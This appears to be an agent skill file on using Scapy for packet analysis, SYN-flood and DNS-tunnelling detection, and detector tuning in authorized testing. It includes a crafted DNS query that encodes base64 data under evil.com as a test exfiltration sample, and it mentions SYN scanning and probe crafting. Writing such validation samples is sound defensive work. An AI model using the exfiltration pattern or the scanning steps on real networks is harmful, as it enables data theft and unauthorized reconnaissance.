analyzing-network-packets-with-scapy - SKILL.md Agent Skill

name: analyzing-network-packets-with-scapy description: Craft, send, sniff, and dissect network packets using Scapy for protocol analysis, network reconnaissance, and traffic anomaly detection in authorized security testing domain: cybersecurity subdomain: network-security tags:

scapy
packet-analysis
network-forensics
protocol-dissection
pcap
traffic-analysis version: '1.0' author: mahipal license: Apache-2.0 nist_csf:
PR.IR-01
DE.CM-01
ID.AM-03
PR.DS-02

Analyzing Network Packets with Scapy

Overview

Scapy is a Python packet manipulation library that enables crafting, sending, sniffing, and dissecting network packets at granular protocol layers. This skill covers using Scapy for security-relevant tasks including TCP/UDP/ICMP packet crafting, pcap file analysis, protocol field extraction, SYN scan implementation, DNS query analysis, and detecting anomalous traffic patterns such as unusually fragmented packets or malformed headers.

When to Use

When investigating security incidents that require analyzing network packets with scapy
When building detection rules or threat hunting queries for this domain
When SOC analysts need structured procedures for this analysis type
When validating security monitoring coverage for related attack techniques

Detection Gaps & Validation

Offline analysis misses what was never captured: rdpcap() only sees what the tap/SPAN forwarded. Truncated snaplen (tcpdump -s 96) strips payload so DNS-tunnel qry.name entropy and HTTP bodies vanish — capture full frames (-s 0) before scoring.
Scapy reassembles nothing by default: a SYN-flood ratio check on raw packets misreads retransmits; sessionize with sessions()/packet.sessions() and follow streams before judging TCP flag ratios, or fragmented C2 (IP frag/MF bit set) is read as benign noise.
Encrypted blind spots: DNS-over-HTTPS/DoT (443/853) and TLS exfil have no plaintext DNSQR.qname to measure — entropy heuristics silently return nothing. Pivot on SNI from the TLS ClientHello, JA3 hashing, and packet-size/timing rather than concluding "no tunneling."
Validate the detector actually fires: craft a positive sample — IP()/UDP()/DNS(qd=DNSQR(qname="<60-char-base64>.evil.com")) written with wrpcap() — feed it back through your analysis script, and confirm the high-entropy/long-label rule flags it. No flag means the threshold or layer filter is wrong.
FP tuning: CDN hostnames, DNS SRV/TXT lookups, and chatty mDNS produce long/odd labels legitimately; baseline qname length distribution per host and whitelist known resolvers before alerting.

Prerequisites

Python 3.8+ with scapy library installed (pip install scapy)
Root/administrator privileges for raw socket operations (sniffing, sending)
Npcap (Windows) or libpcap (Linux) for packet capture
Authorization to perform packet operations on target network

Steps

Read and parse pcap/pcapng files with rdpcap() for offline analysis
Extract protocol layers (IP, TCP, UDP, DNS, HTTP) and field values
Compute traffic statistics: top talkers, protocol distribution, port frequency
Detect SYN flood patterns by analyzing TCP flag ratios
Identify DNS exfiltration indicators via query length and entropy analysis
Craft custom probe packets for authorized network testing
Export findings as structured JSON report

Expected Output

JSON report containing packet statistics, protocol distribution, top source/destination IPs, detected anomalies (SYN floods, DNS tunneling indicators, fragmentation attacks), and per-flow summaries.